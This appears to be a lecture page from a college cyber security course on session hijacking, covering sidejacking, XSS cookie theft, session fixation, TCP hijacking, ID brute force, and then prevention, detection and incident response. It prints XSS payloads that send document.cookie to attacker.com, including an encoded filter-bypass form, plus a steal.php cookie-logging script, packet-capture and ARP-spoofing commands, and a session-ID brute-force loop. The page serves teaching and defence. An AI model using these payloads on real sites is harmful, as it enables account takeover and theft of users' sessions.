Skip to main content
  1. Resources/
  2. Study Materials/
  3. Information & Communication Technology Engineering/
  4. ICT Semester 5/
  5. Cyber Security (4353204)/

9 mins· ·
Milav Dabgar
Author
Milav Dabgar
Experienced lecturer in the electrical and electronic manufacturing industry. Skilled in Embedded Systems, Image Processing, Data Science, MATLAB, Python, STM32. Strong education professional with a Master’s degree in Communication Systems Engineering from L.D. College of Engineering - Ahmedabad.
Session Hijacking

Session Hijacking

Exploiting Session Management Vulnerabilities

Understanding Session Attacks and Authentication Bypass Techniques

Session Hijacking Process

Session Hijacking Overview

Session Hijacking: A security attack where an attacker steals or manipulates a user's session identifier to gain unauthorized access to their authenticated session and impersonate the legitimate user.

Key Components:

  • Session Management: How applications maintain user authentication state
  • Session Identifiers: Tokens that uniquely identify user sessions
  • Authentication Bypass: Circumventing login mechanisms
  • Identity Impersonation: Acting as the legitimate user
  • Privilege Exploitation: Using hijacked session privileges
  • Data Access: Unauthorized access to user data and functions
Impact: Session hijacking can lead to complete account takeover, data theft, financial fraud, and unauthorized system access

Session Management Fundamentals

Session Lifecycle: Web applications use sessions to maintain user authentication and state across multiple HTTP requests.

Session Components:

  • Session ID: Unique identifier for each session
  • Session Data: User information and application state
  • Session Storage: Server-side or client-side storage
  • Session Timeout: Automatic session expiration
  • Session Cookies: Client-side session identifiers
  • Session Validation: Server-side session verification

Session Flow:

  • Authentication: User provides credentials
  • Session Creation: Server generates unique session ID
  • Session Binding: Session ID sent to client (cookie/URL)
  • Session Usage: Client includes session ID in requests
  • Session Validation: Server verifies session validity
  • Session Termination: Logout or timeout expires session
Session Cookie Example:

HTTP Response (Login Success):
Set-Cookie: JSESSIONID=A1B2C3D4E5F6G7H8I9J0; Path=/; HttpOnly; Secure
Set-Cookie: session_token=abc123def456ghi789; Domain=.example.com; SameSite=Strict

Subsequent HTTP Request:
Cookie: JSESSIONID=A1B2C3D4E5F6G7H8I9J0; session_token=abc123def456ghi789

Session Data (Server-side):
{
  "session_id": "A1B2C3D4E5F6G7H8I9J0",
  "user_id": 12345,
  "username": "john.doe",
  "role": "user",
  "last_activity": 1640995200,
  "expires": 1641001200
}

Types of Session Hijacking Attacks

Session Sidejacking:

  • Method: Packet sniffing to capture cookies
  • Target: Unencrypted HTTP traffic
  • Tools: Wireshark, Firesheep, DroidSheep
  • Vulnerability: Lack of HTTPS encryption
  • Prevention: Always use HTTPS/TLS

Cross-Site Scripting (XSS):

  • Method: JavaScript to steal cookies
  • Target: Web applications with XSS vulnerabilities
  • Payload: document.cookie theft
  • Vulnerability: Input validation failures
  • Prevention: XSS protection and HttpOnly cookies

Session Fixation:

  • Method: Force victim to use predetermined session ID
  • Target: Applications not regenerating session IDs
  • Technique: URL manipulation or cookie injection
  • Vulnerability: Static session identifiers
  • Prevention: Session ID regeneration on login

Man-in-the-Middle (MITM):

  • Method: Intercept and modify communication
  • Target: Insecure network connections
  • Techniques: ARP spoofing, rogue access points
  • Capability: Real-time session manipulation
  • Prevention: Certificate pinning, HTTPS enforcement

Brute Force/Prediction:

  • Method: Guess or calculate valid session IDs
  • Target: Weak session ID generation algorithms
  • Techniques: Sequential IDs, timestamp-based IDs
  • Tools: Custom scripts, Burp Suite
  • Prevention: Cryptographically strong random IDs

Session Sidejacking Attack Demonstration

Sidejacking: The most common form of session hijacking, exploiting unencrypted HTTP traffic to steal authentication cookies.
Session Sidejacking Attack Steps:

# 1. Set up packet capture
sudo tcpdump -i wlan0 -s 0 -w cookies.pcap 'tcp port 80'
wireshark -i wlan0 -f "tcp port 80"

# 2. Capture HTTP traffic containing cookies
# Wait for victim to browse HTTP sites after HTTPS login
# Many sites use HTTPS for login but HTTP for regular browsing

# 3. Extract cookies from captured packets
tshark -r cookies.pcap -Y "http.cookie" -T fields -e http.cookie
tshark -r cookies.pcap -Y "http" -T fields -e http.host -e http.cookie

# 4. Use Firesheep (Firefox extension - deprecated)
# Automated cookie capture and session hijacking
# Shows logged-in users on same network

# 5. Manual cookie injection
# Copy captured cookie values
# Use browser developer tools or extensions
# Replace own cookies with victim's cookies
# Access victim's authenticated session

Example Captured Cookie:
Host: facebook.com
Cookie: c_user=123456789; xs=1%3A1234567890%3A2%3A1234567890; datr=abc123

XSS-Based Session Hijacking

XSS Cookie Theft: Using Cross-Site Scripting vulnerabilities to execute JavaScript code that steals session cookies and sends them to attacker-controlled servers.
XSS Session Theft Payloads:

# Basic cookie theft
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

# Image-based exfiltration
<script>new Image().src='http://attacker.com/log.php?c='+document.cookie</script>

# AJAX-based theft
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/collect.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('cookies=' + encodeURIComponent(document.cookie));
</script>

# Encoded payload to bypass filters
<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,97,116,116,97,99,107,101,114,46,99,111,109,47,115,116,101,97,108,46,112,104,112,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</script>

# Server-side collection script (steal.php)
<?php
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$timestamp = date('Y-m-d H:i:s');
file_put_contents('stolen_cookies.txt', "$timestamp - $ip - $cookie\n", FILE_APPEND);
?>

Session Fixation Attack Techniques

Session Fixation: An attack where the attacker fixes the user's session ID to a known value, then waits for the user to authenticate, gaining access to their authenticated session.

URL-based Fixation:

  • Method: Send victim malicious URL with session ID
  • Example: http://bank.com/login?JSESSIONID=A1B2C3
  • Process: Victim logs in using fixed session ID
  • Result: Attacker knows the authenticated session ID
  • Mitigation: Ignore URL-based session IDs

Cookie-based Fixation:

  • Method: Inject session cookie via XSS or MITM
  • Vector: document.cookie = "SESSIONID=FIXED"
  • Requirement: Same-origin or subdomain access
  • Process: Pre-set cookie before user login
  • Mitigation: Regenerate session ID after login
Session Fixation Attack Example:

Step 1: Attacker obtains session ID from target site
GET /login.php HTTP/1.1
Host: bank.com

Response: Set-Cookie: SESSIONID=ABC123; Path=/

Step 2: Attacker sends victim malicious link
http://bank.com/login.php?SESSIONID=ABC123
or via XSS: document.cookie="SESSIONID=ABC123; path=/"

Step 3: Victim logs in with fixed session ID
POST /login.php HTTP/1.1
Cookie: SESSIONID=ABC123
username=victim&password=secret

Step 4: Attacker uses known session ID
GET /account.php HTTP/1.1
Cookie: SESSIONID=ABC123
# Now authenticated as victim

Network-Based Session Hijacking

Network Attacks: Techniques that exploit network vulnerabilities to intercept or manipulate session traffic in transit.

TCP Hijacking:

  • Method: Take over TCP connection
  • Technique: Sequence number prediction
  • Process: Desynchronize legitimate connection
  • Control: Complete session takeover
  • Difficulty: High technical complexity

WiFi Session Hijacking:

  • Method: Wireless traffic interception
  • Target: Open or weakly encrypted WiFi
  • Tools: Wireshark, Ettercap, Firesheep
  • Vulnerability: Shared network medium
  • Scope: All wireless network users

DNS Hijacking:

  • Method: Redirect traffic to malicious sites
  • Technique: DNS spoofing, cache poisoning
  • Goal: Capture credentials and sessions
  • Impact: Complete session interception
  • Detection: SSL certificate warnings
TCP Sequence Prediction Attack:

# 1. Monitor target connection
tcpdump -i eth0 host victim.com and port 80

# 2. Analyze sequence numbers
# Look for patterns in TCP sequence number generation
# Calculate next expected sequence number

# 3. Inject packets with predicted sequence
# Send RST to legitimate client (desync)
# Continue session with server using predicted sequence

# 4. Tools for TCP hijacking
hunt # Network hijacking tool
ettercap -T -M arp /target_ip// /gateway_ip//
# Use built-in TCP hijacking features

Session ID Prediction and Brute Force

Weak Session IDs: Applications that generate predictable or weak session identifiers are vulnerable to session prediction and brute force attacks.

Predictable Patterns:

  • Sequential IDs: Incremental session identifiers
  • Timestamp-based: Time-derived session IDs
  • User-based: Username or user ID incorporated
  • Algorithmic: Simple mathematical formulas
  • Short Length: Insufficient entropy/randomness

Attack Techniques:

  • Pattern Analysis: Identify generation algorithm
  • Statistical Analysis: Find correlations and trends
  • Brute Force: Systematic ID enumeration
  • Rainbow Tables: Pre-computed session ID lists
  • Timing Attacks: Exploit time-based generation
Session ID Analysis and Attack:

# Weak session ID examples
SESSIONID=12345678 # Sequential
SESSIONID=20220101001234 # Timestamp + counter
SESSIONID=user123_20220101 # Username + date
SESSIONID=ABC123 # Short, limited charset

# Session ID analysis script
#!/usr/bin/python3
import requests
import re

def analyze_session_ids():
    sessions = []
    for i in range(100):
        r = requests.get('http://target.com/login')
        cookie = r.cookies.get('SESSIONID')
        sessions.append(cookie)
        print(f"Session {i}: {cookie}")

# Brute force valid session IDs
for i in range(1000000, 1001000):
    cookies = {'SESSIONID': str(i)}
    r = requests.get('http://target.com/profile', cookies=cookies)
    if "Welcome" in r.text:
        print(f"Valid session found: {i}")

Session Hijacking Tools and Frameworks

Network Sniffing Tools:

  • Wireshark: Packet capture and analysis
  • Ettercap: Comprehensive network attack suite
  • Bettercap: Modern network attack framework
  • dSniff: Network auditing and penetration testing
  • Tcpdump: Command-line packet analyzer

Web Application Tools:

  • Burp Suite: Web application security testing
  • OWASP ZAP: Web application scanner
  • Cookie Cadger: Automated cookie capture
  • Hamster & Ferret: Session sidejacking
  • WebSploit: Web application exploitation

Specialized Tools:

  • Firesheep: Firefox extension for sidejacking
  • DroidSheep: Android session hijacking
  • Hunt: TCP connection hijacking
  • T50: Network packet injector
  • Session Replay: Automated session reuse
Burp Suite Session Hijacking:

# 1. Configure Burp proxy
# Set browser to use Burp as proxy (127.0.0.1:8080)
# Import Burp CA certificate

# 2. Intercept authentication
# Capture login request and response
# Note session cookie values

# 3. Analyze session management
# Check session ID entropy and predictability
# Test session fixation vulnerabilities
# Verify session timeout behavior

# 4. Perform session attacks
# Session fixation testing
# Cookie manipulation and replay
# Cross-site request forgery (CSRF) testing

# 5. Automated scanning
# Use Burp Scanner for session management issues
# Generate comprehensive vulnerability reports

Session Hijacking Prevention Techniques

Defense Strategy: Multi-layered approach combining secure session management, encryption, and monitoring to prevent session hijacking attacks.

Secure Session Management:

  • Strong Session IDs: Cryptographically random identifiers
  • Session Regeneration: New ID after authentication
  • Session Timeout: Automatic expiration policies
  • Session Binding: IP address and user agent validation
  • Concurrent Session Limits: Prevent multiple active sessions

Cookie Security:

  • HttpOnly Flag: Prevent JavaScript access
  • Secure Flag: HTTPS-only transmission
  • SameSite Attribute: Cross-site request protection
  • Path Restriction: Limit cookie scope
  • Domain Restriction: Prevent subdomain access

Network Security:

  • HTTPS Enforcement: Encrypt all communications
  • HSTS Headers: Force HTTPS usage
  • Certificate Pinning: Prevent MITM attacks
  • VPN Usage: Secure network tunnels
  • Network Monitoring: Detect suspicious activity
Secure Session Implementation:

# PHP session security configuration
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.use_strict_mode', 1);
session_regenerate_id(true); // After login

# Secure cookie headers
Set-Cookie: SESSIONID=abc123; Path=/; Secure; HttpOnly; SameSite=Strict

# Session validation
if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
    session_destroy();
    header('Location: /login.php');
}

# HTTPS enforcement
if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
    header('Location: https://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);
}

Session Hijacking Detection and Monitoring

Detection Strategy: Implement comprehensive monitoring and anomaly detection to identify potential session hijacking attempts.

Behavioral Monitoring:

  • IP Address Changes: Sudden location changes
  • User Agent Switching: Different browsers/devices
  • Activity Patterns: Unusual user behavior
  • Concurrent Sessions: Multiple active sessions
  • Access Timing: Abnormal login times
  • Geographic Anomalies: Impossible travel patterns

Technical Detection:

  • Session Fingerprinting: Browser and system attributes
  • Token Validation: CSRF token verification
  • Request Analysis: Suspicious request patterns
  • Cookie Inspection: Cookie tampering detection
  • Network Monitoring: Traffic pattern analysis
  • Log Correlation: Multi-source log analysis
Session Monitoring Implementation:

# Session fingerprinting
$fingerprint = hash('sha256', $_SERVER['HTTP_USER_AGENT'] . $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if ($_SESSION['fingerprint'] !== $fingerprint) {
    // Potential session hijacking
    log_security_event('Session fingerprint mismatch', $user_id);
}

# Geographic validation
$current_country = geoip_country_code($_SERVER['REMOTE_ADDR']);
if ($_SESSION['country'] !== $current_country) {
    // Geographic anomaly detected
    require_additional_authentication();
}

# Concurrent session detection
SELECT COUNT(*) FROM active_sessions WHERE user_id = ?
if (count > 1) {
    // Multiple active sessions detected
    alert_user_and_admin();
}

Session Hijacking Incident Response

Response Framework: Systematic approach to handling suspected or confirmed session hijacking incidents.
Session Hijacking Response Process:

1. Detection and Alert:
• Automated monitoring system alerts
• User-reported suspicious activity
• Anomaly detection triggers
• Security team investigation initiation

2. Immediate Containment:
• Terminate all user sessions immediately
• Disable affected user accounts
• Block suspicious IP addresses
• Preserve logs and evidence

3. Investigation and Analysis:
• Analyze session logs and access patterns
• Review network traffic captures
• Identify attack vector and timeline
• Assess data exposure and impact

4. Recovery and Remediation:
• Reset user passwords and credentials
• Regenerate all session identifiers
• Patch identified vulnerabilities
• Strengthen session security controls

5. Communication and Follow-up:
• Notify affected users
• Report to relevant authorities if required
• Document lessons learned
• Update security policies and procedures

Key Takeaways

  • Session hijacking exploits weak session management to impersonate legitimate users
  • Common attack vectors include packet sniffing, XSS, session fixation, and MITM
  • HTTPS encryption is essential but not sufficient for complete session security
  • Secure cookie attributes (HttpOnly, Secure, SameSite) provide critical protection
  • Session ID generation must use cryptographically strong random values
  • Behavioral monitoring and anomaly detection help identify hijacking attempts
  • Incident response procedures must include immediate session termination
  • Multi-layered defense combining technical controls and monitoring is most effective
Remember: Session security is fundamental to web application security - implement comprehensive session management controls and continuous monitoring to protect against hijacking attacks

Thank You

Questions & Discussion

Next: Introduction to Cyber Crime